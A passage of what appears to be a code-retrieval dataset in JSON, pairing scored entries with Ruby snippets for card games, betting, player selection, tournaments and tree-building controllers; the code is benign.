player = 'flash'\n flash_pile << played\n played.clear\n end\n end\n\n snap_count\nend", "title": "" }, { "docid": "891bb4d54cd2efd666e9c4a257c7e123", "score": "0.5694591", "text": "def make_bets(players, deck)\n active_players(players).each do |player|\n clear_and_title(\"#{player.name}'s turn to bet.\")\n\n player.new_game(MIN_BET)\n\n # If player hasn't been booted, take his bet:\n if player.playing?\n bet = get_bet(player)\n else\n puts \"You've been gambling too hard. You don't even have enough to play another round. We're going to mandate that you take the night off.\\nSee you next time!\"\n end\n\n # If player hasn't folded, output his bet and deal his cards.\n if player.playing?\n puts \"\\nBetting base #{bet}.\"\n player.deal(deck.draw, deck.draw, bet)\n end\n\n pause\n end\nend", "title": "" }, { "docid": "236ef983db761e8f97e5a644a18543e4", "score": "0.5677237", "text": "def trick_rounds\n trick = Trick.new(@players)\n trick.play\n end", "title": "" }, { "docid": "9344b8891ad607e3601e013f73f20fbb", "score": "0.5661451", "text": "def split!(card1, card2)\n increase_bet\n\n h1, h2 = active_hand.split!(card1, card2)\n @hands.delete_at @active\n @hands.insert @active, h1, h2\n\n check_done\n end", "title": "" }, { "docid": "ace5b247ecc6e27a1fd31c01808e489c", "score": "0.5655157", "text": "def split_evenly\n num_people = self.purchases.length + 1\n charge_for_each = (self.total_amount.to_f / num_people.to_f)\n self.purchases.each do |purchase|\n purchase.create_item('even split contribution', charge_for_each)\n end\n end", "title": "" }, { "docid": "30dcd0d48d21b56609d4407d31422127", "score": "0.5650299", "text": "def returnBetsToPlayers\n @seats.each do |i, k|\n if k.player\n @seats[i].returnBetToPlayer\n end\n end\n end", "title": "" }, { "docid": "bc80da8fe2d7931c845c9c6cb5281a4d", "score": "0.5641568", "text": "def make_bets\n players.each { |player| player.make_initial_bet }\n end", "title": "" }, { "docid": "b791c09144b16cd4ffc4984d53569d95", "score": "0.56406176", "text": "def block(wins, player, opponent)\n position = []\n wins.each do |win|\n difference = win - opponent # difference between current win array and opponent position array\n if difference.count == 1 # if opponent 1 move from win, block position unless already player mark\n position.push(difference[0]) unless (player & difference).count == 1\n end\n end\n position.count > 0 ? position.sample : move(wins, player, opponent) # .sample in case of multiple\nend", "title": "" }, { "docid": "67156d5a17678c9cadd9810edf471fe2", "score": "0.5634978", "text": "def pile_cards\n player_cards = [player1.deck.cards, player2.deck.cards]\n player1_cards_0 = player1.deck.cards[0]\n player2_cards_0 = player2.deck.cards[0]\n\n if (@player1.deck.rank_of_card_at(0) && @player1.deck.rank_of_card_at(2)) == (@player2.deck.rank_of_card_at(0) && @player2.deck.rank_of_card_at(2))\n player_cards.each do |delete|\n delete.delete_at(0)\n end\n\n player_cards.each do |delete|\n delete.delete_at(1)\n end\n\n player_cards.each do |delete|\n delete.delete_at(2)\n end\n return @spoils_of_war\n\n elsif (@player1.deck.rank_of_card_at(0) == @player2.deck.rank_of_card_at(0))\n spoils_of_war << (player1.deck.cards[0..2])\n spoils_of_war << (player2.deck.cards[0..2])\n\n player_cards.each do |delete|\n delete.delete_at(0)\n end\n\n player_cards.each do |delete|\n delete.delete_at(1)\n end\n\n player_cards.each do |delete|\n delete.delete_at(2)\n end\n return @spoils_of_war\n\n elsif (@player1.deck.rank_of_card_at(0) != @player2.deck.rank_of_card_at(0))\n spoils_of_war << player1_cards_0\n spoils_of_war << player2_cards_0\n\n player_cards.each do |delete|\n delete.delete_at(0)\n end\n\n player_cards.each do |delete|\n delete.delete_at(1)\n end\n\n player_cards.each do |delete|\n delete.delete_at(2)\n end\n return @spoils_of_war\n end\n end", "title": "" }, { "docid": "34824039b562c8a2d7903d3ac099adfb", "score": "0.56295985", "text": "def card_winner(deck, p1, p2)\n p1 = []\n p2 = []\n left_over_p1 = []\n left_over_p2 = []\n\n psplit = deck.each_slice(3).to_a\n\n\nend", "title": "" }, { "docid": "479b3dfc787c9eca00827e61c808d795", "score": "0.5629071", "text": "def place_bets\n\n print \"Player 1: \"\n @total_pot += @player1.raise?\n\n print \"Player 2: \"\n @total_pot += @player2.raise?\n\n\n end", "title": "" }, { "docid": "fc387c038e47b32d8d9667d29450c53f", "score": "0.562596", "text": "def deal_preflop_cards\n\t\t\tused_cards = ''\n\t\t\tplayers.each do |p|\n\t\t\t\tp.hole_cards = (p.hole_cards || '') + pe.get_random_hand_not_in_str(used_cards)\n\t\t\t\tused_cards += p.hole_cards\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "dbc903347ce5cf1e651e0d827311db8f", "score": "0.5622644", "text": "def placeBets(dealer)\n for player in dealer.players\n puts \"========================================\"\n player.clearHands\n player.setBet\n end\nend", "title": "" }, { "docid": "5aac0cb7d9a89570dcec7dca4f81ca82", "score": "0.5616488", "text": "def split(index, a, b)\n deal_hole(@hands[index].cards.pop, @hands[index].bet)\n @hands[index].count -= @hands[-1].count\n take(a, index)\n take(b, @hands.length-1)\n [index, @hands.length-1]\n end", "title": "" }, { "docid": "990eb4140653f49466fd30776139f02e", "score": "0.5612458", "text": "def test_split_hand\n @player.bet = @cash/2 - 1\n\n # add hand to player and split it\n @player.place_bet(@hand)\n\n assert(@player.split_hand(@hand), \"Hand Split success\")\n\n # verify the hands have been split and the player cash is correct\n assert_equal(@cash - 2*@player.bet, @player.cash, \"Player cash after split\")\n assert_equal(2, @player.hands.length, \"Correct number of player hands after split\")\n\n # verify the bets on the hands\n @player.hands.each{ |hand| assert_equal(@player.bet, hand.bet)}\n\n end", "title": "" }, { "docid": "27eb5ca9da656a1fa261f3b330bf86ca", "score": "0.5577333", "text": "def putBlindsAndAnte\n np = playerseats.size\n @pot = 0\n if np > 1 && @dealer\n bets = [ @bb / 2, @bb ] \n (np-2).times { bets << @ante }\n n = @dealer\n begin\n n = n.next\n n = @seats.first[0] if !@seats[n]\n \n if @seats[n].player\n b = bets.shift\n @seats[n].bet b\n @pot += b\n end\n end while n != @dealer\n end\n end", "title": "" }, { "docid": "041b0446dbf2e523241d957589153154", "score": "0.5575031", "text": "def ordered_players\n arr = players.dup\n new_starting_player_index.times do\n arr.rotate!\n end\n arr\n end", "title": "" }, { "docid": "3539e53b50ad657c875a08e56dff1633", "score": "0.5573004", "text": "def winners\n out = []\n @num_legs.times do |player|\n out << player if (0..marbles_per_player - 1).inject(true) do |won, marble|\n won && !!@holes[\"endzone_#{player}_#{marble}\"]\n end\n end\n out\n end", "title": "" }, { "docid": "8af310da55198844050a670730c34134", "score": "0.5567623", "text": "def advance_player!(player)\n @track1 = @track1.insert(@die.roll + @track1.index(@players[0]), @track1.delete_at(@track1.index(@players[0])))\n @track2 = @track2.insert(@die.roll + @track2.index(@players[1]), @track2.delete_at(@track2.index(@players[1])))\n end", "title": "" }, { "docid": "8af310da55198844050a670730c34134", "score": "0.5567623", "text": "def advance_player!(player)\n @track1 = @track1.insert(@die.roll + @track1.index(@players[0]), @track1.delete_at(@track1.index(@players[0])))\n @track2 = @track2.insert(@die.roll + @track2.index(@players[1]), @track2.delete_at(@track2.index(@players[1])))\n end", "title": "" }, { "docid": "8811ab21dd15c90ef83f91baa66be412", "score": "0.55631745", "text": "def split_hand(hand)\n newhand = hand.split\n @hands << newhand # append to our hands\n place_bet(bet_for(hand), newhand)\n return newhand\n end", "title": "" }, { "docid": "6a9daf83f3237bebe6961856005c71d6", "score": "0.555784", "text": "def checkPlayers(dealer)\n remaining = []\n for player in dealer.players\n if player.money <= 0 #Bankrupt case - Player does not continue\n puts \"Sorry, #{player.name}! You're out of money! Try again next time.\"\n else \n remaining << player #Add player to next round\n end\n end\n dealer.players = remaining\nend", "title": "" }, { "docid": "f6944069ad660246b1a161ceedaa4e88", "score": "0.55562323", "text": "def fill_losers_loop games_count, losers\n losers.shuffle!\n\n # fills in blank games with losers from completed games in the bracket\n 0.upto(((games_count+1)/2)-1) do |game_position|\n if !self.games[game_position].game_players.first.player_id && !self.games[game_position].game_players.last.player_id && losers.length >= 2 && !self.games[game_position].winner\n game_player = self.games[game_position].game_players.first\n game_player.update_attributes(player: losers.pop)\n game_player.save\n game_player = self.games[game_position].game_players.last\n game_player.update_attributes(player: losers.pop)\n game_player.save\n\n elsif self.games[game_position].game_players.first.player_id && !self.games[game_position].game_players.last.player_id && losers.length > 0\n game_player = self.games[game_position].game_players.last\n game_player.update_attributes(player: losers.pop)\n game_player.save\n end\n end\n end", "title": "" }, { "docid": "a8b61fb04dea1c6462cfa7b13f59a68a", "score": "0.55546695", "text": "def remove_split_copy()\n\t\t@players.delete_if { |p| p.index.to_s =~ /copy/};\n\tend", "title": "" }, { "docid": "29e2715cbc1fe6a25f3e4619ea8de6ed", "score": "0.5545342", "text": "def select_players_for_slytherin(full_list_of_players, already_used_players)\n players = []\n while(players.size < 5) do\n player = full_list_of_players[rand(full_list_of_players.size)]\n if !already_used_players.include?(player) && !players.include?(player)\n players << player\n end\n end\n players\nend", "title": "" }, { "docid": "29eb8a15b868e3fc0201f640b2ac366b", "score": "0.55408305", "text": "def deal players=[]\n return false if players.blank? || !@shuffled\n split_count = (@cards.count/players.count).to_i\n\n players.each_with_index do |player, pidx|\n (pidx..@cards.count-1).step(players.count) do |c|\n # assign owner attribute of card instance\n @cards[c].owner = player.try(:name)\n\n # increase player's num_card & remaining attribute counts\n player.num_cards += 1\n player.num_cards_remaining += 1\n\n # add card to player's cards array\n player.cards.push(@cards[c])\n end\n end\n\n # puts \"dealt: #{calculate_dealt_cards @cards.count} ...........\"\n # set dealt property to true\n @dealt = true\n end", "title": "" }, { "docid": "79ce9714f741643f05cc1ec9d273dcb5", "score": "0.55319595", "text": "def deal(player, dealer, decks)\n system 'clear'\n 2.times do\n player.push(decks.delete(decks.sample))\n dealer.push(decks.delete(decks.sample))\n end\n display_cards(player)\n end", "title": "" }, { "docid": "736a8286746b63ebf98782cb168648a2", "score": "0.55205107", "text": "def split_the_bill\n temp_total = 0\n if @party_size < 1\n @party_size = 1\n end\n\n temp_total = (@total * (1 + @tip)) / @party_size \n temp_total.ceil.to_i\n end", "title": "" }, { "docid": "736a8286746b63ebf98782cb168648a2", "score": "0.55205107", "text": "def split_the_bill\n temp_total = 0\n if @party_size < 1\n @party_size = 1\n end\n\n temp_total = (@total * (1 + @tip)) / @party_size \n temp_total.ceil.to_i\n end", "title": "" }, { "docid": "3497040c39b8d82b62f3adef3d57bb19", "score": "0.5520472", "text": "def select_team2_roster(full_list_of_players, already_used_players)\n team2_player_choices = full_list_of_players - already_used_players\n team2_roster = []\n while team2_roster.size < 7 do\n new_position = rand(team2_player_choices.size)\n new_player = team2_player_choices[new_position]\n team2_roster << new_player\n team2_player_choices.delete_at(new_position)\n end\n team2_roster\nend", "title": "" }, { "docid": "9f76f9184b18c7fbe57ec263c2063670", "score": "0.5504959", "text": "def top_up_players\r\n pick_a_player while @players.length < 2\r\n end", "title": "" }, { "docid": "784c97bfcd12c5f927d99f1c509a83c8", "score": "0.5499711", "text": "def balance_players(players_pool_array)\n @balanced = false\n @min_separation = 3\n @shuffles = 0\n\n while @balanced == false\n players_pool_array.shuffle!\n @shuffles += 1\n distribute_players players_pool_array\n\n check_separation @radiant_avg, @dire_avg, @min_separation\n end\n\n assign_teams @radiant_array, @dire_array\n end", "title": "" }, { "docid": "15a02aa4a5ac7e99823da784bd7cba29", "score": "0.54955924", "text": "def get_player_bets()\n\t\tprint \"################ BET ##################\\n\";\n\t\t@players.each do |p|\n\t\t\tdone = false;\n\t\t\twhile(!done)\n\t\t\t\tprint \"Player #{p.index}, current $#{p.money}.\\n\";\n\t\t\t\tprint \"please enter your bet ($1 --- $#{p.money}) : \";\n\t\t\t\tbet = gets.to_i\n\t\t\t\tif (bet > 0 and bet <= p.money)\n\t\t\t\t\tp.bet = bet;\n\t\t\t\t\tdone = true;\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tprint \"#######################################\\n\\n\\n\";\n\tend", "title": "" }, { "docid": "3b94eef3d8ac3e5db62e88e7442c8cb0", "score": "0.5486528", "text": "def award_spoils(winner)\n if type == :basic\n winner.deck.cards.push(spoils_of_war).flatten!\n player_1.deck.remove_card\n player_2.deck.remove_card\n spoils_of_war.clear\n elsif type == :war\n winner.deck.cards.push(spoils_of_war).flatten!\n 3.times do\n player_1.deck.remove_card\n player_2.deck.remove_card\n spoils_of_war.clear\n end\n end\n end", "title": "" }, { "docid": "ac12ad988d8863429c00391de4da6f80", "score": "0.54613703", "text": "def select_players_for_gryffindor(full_list_of_players, already_used_players)\n players = []\n while(players.size < 5) do\n player = full_list_of_players[rand(full_list_of_players.size)]\n if !players.include?(player)\n players << player\n end\n end\n players\nend", "title": "" }, { "docid": "c4c555f80109e475c1ac63c101aec6cc", "score": "0.54572797", "text": "def new_players_in_sight\n if enemies_in_sight.length == players_left\n puts \"\",\"Tous les joueurs sont déjà en vue\",\"\"\n else\n random = rand(1..6)\n if random == 1\n puts \"\",\"Aucun nouvel ennemi en vue\",\"\"\n elsif random >= 2 && random <= 4\n puts \"\",\"Un nouvel ennemi en vue\",\"\"\n enemies_in_sight << Player.new(\"player_#{rand(1000..9999)}\")\n else\n puts \"\",\"Deux nouveaux ennemies en vue\",\"\"\n enemies_in_sight << Player.new(\"player_#{rand(1000..9999)}\")\n enemies_in_sight << Player.new(\"player_#{rand(1000..9999)}\")\n end\n end\n end", "title": "" }, { "docid": "0b647f5397f7935500a0b6e3e16b65d7", "score": "0.54557294", "text": "def deal(pack, players)\n cards = pack.cards\n\n player_counter = 0\n\n (0..cards.length - 1).each { |i|\n players[player_counter].hand.push(cards[i])\n player_counter = (player_counter + 1) % 4\n }\n\n end", "title": "" }, { "docid": "ce0b1d956bed2b912887fa161d9292ef", "score": "0.54435647", "text": "def allot_treasures\n prng = Random.new\n (0...4).each do\n room = prng.rand(1...20)\n while room == 6 or room == 11\n room = prng.rand(1...20)\n end \n new_one = prng.rand(5...101)\n set_to_room(room, new_one)\n end\n end", "title": "" }, { "docid": "c7f03fadc540018ca206b5b962ee9eee", "score": "0.543998", "text": "def pile_cards\n if @type == :basic\n @spoils_of_war << @player1.deck.remove_card\n @spoils_of_war << @player2.deck.remove_card\n elsif @type == :war\n 3.times do\n @spoils_of_war << @player1.deck.remove_card\n @spoils_of_war << @player2.deck.remove_card\n end\n elsif @type == :mutually_assured_destruction\n 3.times do\n @player1.deck.remove_card\n @player2.deck.remove_card\n end\n else\n \"OOPS: Not a valid turn type\"\n end\n end", "title": "" }, { "docid": "93c602250f8f25b662e74a12901618c5", "score": "0.5438423", "text": "def other_players\n self.players.drop(1)\n end", "title": "" }, { "docid": "81c587d2d84fbe16e4327aadb78f4c4d", "score": "0.54336196", "text": "def allot_monsters\n prng = Random.new\n (0...4).each do\n room = prng.rand(1...20)\n while room == 6 or room == 11\n room = prng.rand(1...20)\n end\n new_one = prng.rand(1...5)\n set_to_room(room, new_one)\n end\n end", "title": "" }, { "docid": "e40af53fe94c68bf4fb3e23b11c73783", "score": "0.54322916", "text": "def setup_new_players()\n\t\tbegin \n\t\t\tputs \"How many players at the table ?(1 to 4 players)\";\n\t\t\t@num_players = gets.to_i;\n\t\tend while @num_players < 1 or @num_players > 4\n\t\t\t@num_players.times do |i|\n\t\t\tp = Player.new(Array.new,1000,0,false,i,true,nil);\n\t\t\t@players.push p;\n\t\tend\n\tend", "title": "" }, { "docid": "60d6cee30ae361557e658d8d1efe7cc6", "score": "0.54221004", "text": "def split_deck\n @deck1 = Deck.new(@full_deck.cards[0..25])\n @deck2 = Deck.new(@full_deck.cards[26..51])\n end", "title": "" }, { "docid": "ff32060ba8a9e8a544f676bd304b83b7", "score": "0.5419685", "text": "def distribute_cards\n\t\t\t@dealer.shuffle_deck\n\t\t\tself.active_players.each do |player|\n\t\t\t\tcard1 = @dealer.deal_one\n\t\t\t\tcard2 = @dealer.deal_one\n\t\t\t\tputs \"#{player.name} got dealt a #{card1.type} #{card1.suit} and a #{card2.type} #{card2.suit}.\"\n\t\t\t\tplayer.add_card(card1, player.hands.get(0))\n\t\t\t\thand = player.add_card(card2, player.hands.get(0))\n\t\t\t\tif hand.nil?\n\t\t\t\t\tplayer.hands = HandCollection.new()\n\t\t\t\tend\n\t\t\tend\n\t\t\tfaceup = @dealer.deal_to_self\n\t\t\tputs \"The dealer has a #{faceup.type} #{faceup.suit} and a face-down card.\"\n\t\t\tputs \"\"\n\t\tend", "title": "" }, { "docid": "ee250a507d32f9ce5e077ccc204f9e84", "score": "0.54194355", "text": "def update_blinds\n if players.size == 2\n small_blind_player = dealer\n else\n small_blind_player = next_player(dealer)\n end\n big_blind_player = next_player(small_blind_player)\n \n @small_blind_position = @players.index(small_blind_player)\n @big_blind_position = @players.index(big_blind_player)\n end", "title": "" }, { "docid": "58e06368aa85855199af9e4bb42b9c9e", "score": "0.54138315", "text": "def teaparty\n rep = (1..90).to_a\n rep = rep.shuffle.sample\n dem = (1..10).to_a\n dem = dem.shuffle.sample\n if dem > rep\n dem_won\n else\n rep_won\n end\nend", "title": "" }, { "docid": "e0b4a91d60664b28bf52aad91d9631a6", "score": "0.5403938", "text": "def splitHand(hand)\n @money -= hand.bet\n newHand = hand.splitAction\n @player_hands << newHand\n return newHand\n end", "title": "" }, { "docid": "06b65c35cb7d162fae9b6d56fc1bc827", "score": "0.5401401", "text": "def print_court\n print \"player 1's side\"\n (0..court.length).each do |i|\n if i % 20 == 0\n print \"\\n\"\n print court[i]\n else\n print court[i]\n end\n end\n print \"\\nplayer 1's side\"\n court = reset_court\n end", "title": "" }, { "docid": "e4eff270261270b52f5905739236d108", "score": "0.5398538", "text": "def get_splitted_squad\n ret = {\n PLAYER_POSITION_GK => [],\n PLAYER_POSITION_D => [],\n PLAYER_POSITION_M => [],\n PLAYER_POSITION_S => [],\n :undefined => []\n }\n \n for player in players\n tmp = player.get_position\n if tmp != nil\n ret[tmp] << player\n else\n ret[:undefined] << player\n end\n end\n \n return ret\n end", "title": "" }, { "docid": "a3ad2ac859121011b509bfaac61c7d8f", "score": "0.539759", "text": "def generate_pairs_from_standings player_standings\n\t\tplayer_pairs = []\n\t\tbye_player_hash = {}\n\t\tbye_player = nil\n\t\tplayer_standings.each_slice(2) do |player_pair| \n\t\t if player_pair.size == 2\n\t\t puts \"In generate_optimal_pairing, player_pair : #{player_pair.inspect}\"\n\t\t player_pairs << player_pair\n\t\t else\n\t\t puts \"In generate_optimal_pairing, player_pair (only one): #{player_pair.inspect}\"\n\t\t bye_player_hash = player_pair[0]\n\t\t bye_player = bye_player_hash[:player]\n\t\t end\n\t\tend\n\t\treturn player_pairs, bye_player, bye_player_hash\n\tend", "title": "" }, { "docid": "a47d0a4e4ac5f37b4cc428cb99670cec", "score": "0.5394149", "text": "def init_deal!(participant1, participant2, deck)\n 2.times { participant1 << deck.delete(deck.sample) }\n 2.times { participant2 << deck.delete(deck.sample) }\nend", "title": "" }, { "docid": "b83f72ef01bd53473a60f68a596e7fa3", "score": "0.5391395", "text": "def next_player; @player_index = (@player_index + 1) % @players.size; end", "title": "" }, { "docid": "7226bc67e6111181c6b0980f83bee00f", "score": "0.53895044", "text": "def shuffled_players player = nil\n out = self.players.clone\n out.sort_by { |p| p == player ? 2 : rand }\n end", "title": "" }, { "docid": "e2a66040ce3a9709b8f33e5281f48107", "score": "0.5385301", "text": "def play_night_phase\n increment_phase\n\n known_seer = @seer_outed && @players.find(&:is_seer?)\n healer_is_present = @players.any?(&:is_healer?)\n\n # The healer saves the seer, if the seer is outed. Otherwise, a rando.\n healed_person = known_seer ? known_seer : @players.random\n\n # The werewolves try to kill the seer, if outed.\n villager_to_kill = known_seer && !@seer_spared_by_healer ? known_seer : @players.reject(&:is_werewolf?).random\n\n villager_to_kill = if known_seer\n # The wolves will kill a known seer, unless he's already been healed by the healer.\n if !@seer_spared_by_healer\n known_seer\n else # otherwise, skip the seer and kill another villager (why waste a kill when the healer heals the seer?)\n @players.reject {|player| player.is_seer? || player.is_werewolf?}.random\n end\n else\n @players.reject(&:is_werewolf?).random\n end\n\n if healer_is_present && healed_person == villager_to_kill\n @seer_spared_by_healer = healed_person.is_healer?\n log \"NIGHT: Wolves kill nobody; the #{villager_to_kill.class} was healed\"\n else\n log \"NIGHT: Wolves kill a #{villager_to_kill.class}\"\n @players.delete villager_to_kill\n end\n end", "title": "" }, { "docid": "25d2266c4bd21938cb40638a689b029d", "score": "0.53852266", "text": "def move(wins, player, opponent)\n position = []\n wins.each do |win|\n difference = win - player # difference between current win array and player position array\n if difference.count == 1 # if player 1 move from win, take position unless already opponent mark\n position.push(difference[0]) unless (opponent & difference).count == 1\n end\n end\n if position.count == 0 # if nothing to block or win, randomly collect an open position\n position.push((Array(0..8) - (player + opponent)).sample)\n end\n position.sample # .sample in case of multiple\nend", "title": "" }, { "docid": "07b6c30091861d755053a61bf2c62b5c", "score": "0.537793", "text": "def align_players\n @players.sort_by!(&:token).reverse!\n end", "title": "" }, { "docid": "7ff499dc505b42c4dc9763340ad4d014", "score": "0.53755015", "text": "def pair\n # Randomise the order of the participants because getting them in the order they signed up would be lame\n shuffled_participants = participants.shuffle\n\n # Ensure offset will not make an element select itself (max = highest index - 1) + 1 to ensure it isn't 0\n #\n # Does shift need to be randomised? Not really, 1 would probably do in all circumstances\n giftee_shift = Kernel.rand(participants.length - 1) + 1\n\n shuffled_participants.each_with_index.map do |gifter, i|\n giftee_index = (i + giftee_shift) % participants.length\n giftee = shuffled_participants[giftee_index]\n\n [gifter, giftee]\n end\n end", "title": "" }, { "docid": "cb7fe8cbe1731058e9221856bd1403f9", "score": "0.5374952", "text": "def award_pot(player)\n pot_value = pot\n player.chips += pot\n @pot = 0\n pot_value\n end", "title": "" }, { "docid": "f2421543e0e6cffe5b838d99c81b9392", "score": "0.5373009", "text": "def coin_toss\n if @player_1.go_first == true\n @player_1.go_first = true\n @turn_order.push(@player_1)\n @turn_order.push(@player_2)\n else\n @player_2.go_first = true\n @turn_order.push(@player_2)\n @turn_order.push(@player_1)\n end \n end", "title": "" }, { "docid": "cbede4fa33a88b5dbc76cc88795f04a0", "score": "0.5370684", "text": "def deal(table)\n num_players = table.players.count\n deck.shuffle\n deck.deal_blind\n\n player_index = 0\n seat = table.adjusted_seat_number(self.seat_number + 1) # start with the player to the left of the dealer\n\n while deck.cards.any?\n deal_player(table.player_at_seat(seat))\n seat = table.adjusted_seat_number(seat + 1)\n end\n\n table.players.each { |player| player.check_for_partner! } if table.players.count == 5\n end", "title": "" }, { "docid": "7284be8f8da91cb97dd1d3384e903c58", "score": "0.5365354", "text": "def splitandschedule\n noofplayers=@players.length\n if noofplayers > 8\n splitville(noofplayers,@players,@rounds)\n else\n schedule1(@players,@rounds)\n end\n end", "title": "" }, { "docid": "ade8874bab61d90a05541f115feb35d7", "score": "0.5358793", "text": "def separate boids\n desiredseparation = 25.0\n steer = Vec2D.new\n count = 0\n # For every boid in the system, check if it's too close\n boids.each do |other|\n d = location.dist(other.location)\n # If the distance is greater than 0 and less than an arbitrary amount (0 when you are yourself)\n if ((d > 0) && (d < desiredseparation))\n # Calculate vector pointing away from neighbor\n diff = location - other.location\n diff.normalize!\n diff /= d # Weight by distance\n steer += diff\n count += 1 # Keep track of how many\n end\n end\n # Average -- divide by how many\n if (count > 0)\n steer /= count.to_f\n end\n\n # As long as the vector is greater than 0\n if (steer.mag > 0)\n # Implement Reynolds: Steering = Desired - Velocity\n steer.normalize!\n steer *= MAXSPEED\n steer -= velocity\n steer.set_mag(MAXFORCE) {steer.mag > MAXFORCE}\n end\n return steer\n end", "title": "" }, { "docid": "0474faff29533cd957ed69f775c4b0c8", "score": "0.5355634", "text": "def round_robin(players)\n players.each_with_index do |p, i|\n players.each_with_index do |q, j|\n if i < j\n half_rounds = @tournament.rounds_per_match / 2\n remainder = @tournament.rounds_per_match % 2\n create_match([p, q], half_rounds) if half_rounds > 0\n create_match([q, p], half_rounds + remainder)\n end\n end\n end\n end", "title": "" }, { "docid": "232939840d77ed3b5f53de8952ffddb6", "score": "0.53537357", "text": "def reset_players\n restore_players\n\n # add losers back into the mix\n @players += @losers\n @losers = []\n for player in @players\n player.cash += @cash \n end\n end", "title": "" }, { "docid": "e548dc64591786bd5ca6bfc73b954784", "score": "0.5351535", "text": "def dank_you_very_much\n other_players.each do |minion|\n if minion.player.respond_to?(:trade) && real_dank_chron\n minion.player.trade(:set_target, real_dank_chron.player)\n end\n end\n end", "title": "" }, { "docid": "527d71466bab041bfb789ded4f0cc6d9", "score": "0.53502274", "text": "def pile_cards\n if type == :basic\n # 'type = :basic' + ' AND '+ winner\n # spoils_of_war << player_1.deck.remove_card\n # spoils_of_war << player_2.deck.remove_card\n spoils_of_war << player_1.deck.cards.first\n spoils_of_war << player_2.deck.cards.first\n elsif type == :war\n # 'type = :war' + ' AND ' + winner\n # There has to be an easier way to repeat this method\n # Found it! .times and do block will do the trick\n # spoils_of_war << player_1.deck.remove_card\n # spoils_of_war << player_2.deck.remove_card\n spoils_of_war << player_1.deck.cards[0]\n spoils_of_war << player_2.deck.cards[0]\n spoils_of_war << player_1.deck.cards[1]\n spoils_of_war << player_2.deck.cards[1]\n spoils_of_war << player_1.deck.cards[2]\n spoils_of_war << player_2.deck.cards[2]\n elsif type == :mutually_assured_destruction\n # 'type = :mutual' + ' AND ' + winner\n 3.times do\n player_1.deck.remove_card\n player_2.deck.remove_card\n end\n # Removed after testing\n # [player_1.deck, player_2.deck]\n end\n end", "title": "" }, { "docid": "ebcf303cbd9c04969967979063caf3f5", "score": "0.5349308", "text": "def rps_tournament_winner(tournament)\n round_winners = [] # place to hold the winners for each round\n\n tournament.each do |array| # take pairs from your list to play each other\n array.each do |array| \n round_winners << rps_game_winner(array)\n end\n end\n\nif round_winners.size == 1\n\texit\nelse\n\tnext_tournament = []\n\tround_winners.each_slice(2) do |l1, l2| # take pairs from your list to play each other\n\t next_tournament << rps_game_winner([l1, l2])\n\t end\n\tputs next_tournament.inspect\nend #if\n\nend", "title": "" }, { "docid": "4825e4e124825266e8c9a5f810e61206", "score": "0.5347982", "text": "def split\n total_cost / @participants.count\n end", "title": "" } ]
5352c6045550d9e57fafeb20bb347f97
JSON que despliega solo un nodo con sus hijos, para pegarlos en json ya construido con d3
[ { "docid": "5e997860cc2da9d22d44856a6608c35f", "score": "0.635589", "text": "def hojas_arbol_nodo\n children_array = []\n\n nivel_categoria = @especie.categoria_taxonomica.nivel1\n ancestry = @especie.is_root? ? @especie.id : \"#{@especie.ancestry_ascendente_directo}/%#{@especie.id}%\"\n\n taxones = Especie.select_basico(['ancestry_ascendente_directo', 'conteo', 'categorias_taxonomicas.nivel1']).datos_basicos.\n categoria_conteo_join.where(\"categoria='7_00' OR categoria IS NULL\").where(\"ancestry_ascendente_directo LIKE '#{ancestry}'\").\n where(\"nombre_categoria_taxonomica IN ('#{CategoriaTaxonomica::CATEGORIAS_OBLIGATORIAS.join(\"','\")}')\").\n where(\"nivel1=#{nivel_categoria + 1} AND nivel3=0 AND nivel4=0\"). # Con estas condiciones de niveles aseguro que es una categoria principal\n where(estatus: 2)\n\n taxones.each do |t|\n children_hash = hash_arbol_nodo(t)\n\n # Acumula el resultado del json anterior una posicion antes de la actual\n children_array << children_hash\n end\n\n render :json => children_array.to_json\n end", "title": "" } ]
[ { "docid": "3e78885b571ada1f9cb57161f11c6281", "score": "0.67041177", "text": "def arbol_nodo\n @children_array = []\n\n taxones = Especie.select_basico(['ancestry_ascendente_directo', 'conteo', 'categorias_taxonomicas.nivel1']).datos_basicos.\n categoria_conteo_join.where(\"categoria='7_00' OR categoria IS NULL\").caso_rango_valores('especies.id',@especie.path_ids.join(',')).\n where(\"nombre_categoria_taxonomica IN ('#{CategoriaTaxonomica::CATEGORIAS_OBLIGATORIAS.join(\"','\")}')\").\n where(estatus: 2).order_por_categoria('DESC')\n\n taxones.each_with_index do |t, i|\n @i = i\n children_hash = hash_arbol_nodo(t, arbol_inicial: true)\n\n # Acumula el resultado del json anterior una posicion antes de la actual\n @children_array << children_hash\n end\n\n # Regresa el ultimo que es el mas actual\n json_d3 = @children_array.last\n\n render :json => json_d3.to_json\n end", "title": "" }, { "docid": "9d8794e9ffaaa33836c1346a7d0b2b6b", "score": "0.64115435", "text": "def traktiNodon(nod, stato)\n\n objekto = {\"tipo\" => nod.name, \"filoj\" => [], \"tradukoj\" => {}, \"filNombro\" => 0}\n stato[\"super\"] << nod.name\n\n miaMarko = false\n\n if nod[\"mrk\"] != nil\n objekto[\"mrk\"] = nod[\"mrk\"]\n stato[\"marko\"] << nod[\"mrk\"]\n miaMarko = true\n end\n\n teksto = \"\"\n \n nod.children().each do |fil|\n\n if fil.name == \"kap\"\n novaKapo = traktiKapon(fil, stato)\n objekto[\"nomo\"] = novaKapo[\"nomo\"]\n objekto[\"tildo\"] = novaKapo[\"tildo\"]\n objekto[\"kapo\"] = novaKapo\n if nod.name == \"drv\"\n # Registri tradukojn en esperanton\n\t for nom in objekto[\"nomo\"].split(\", \")\n\t @esperantaj << fariSerchTradukon(nom, nom, stato[\"nomo\"], stato[\"artikolo\"][\"indekso\"], stato[\"marko\"].last, 0)\n\t end\n end\n elsif fil.name == \"uzo\"\n novaUzo = traktiUzon(fil, stato)\n \t if objekto[\"uzoj\"] == nil\n\t objekto[\"uzoj\"] = []\n\t end\n\t objekto[\"uzoj\"] << novaUzo\n elsif fil.name == \"gra\"\n fil.children().each do |fil2|\n if fil2.name == \"vspec\"\n objekto[\"vspec\"] = fil2.text\n end\n end\n elsif fil.name == \"subart\"\n objekto[\"filNombro\"] += 1\n objekto[\"filoj\"] << traktiNodon(fil, stato)\n elsif fil.name == \"drv\"\n objekto[\"filNombro\"] += 1\n objekto[\"filoj\"] << traktiNodon(fil, stato)\n elsif fil.name == \"subdrv\"\n objekto[\"filNombro\"] += 1\n objekto[\"filoj\"] << traktiNodon(fil, stato)\n elsif fil.name == \"snc\"\n 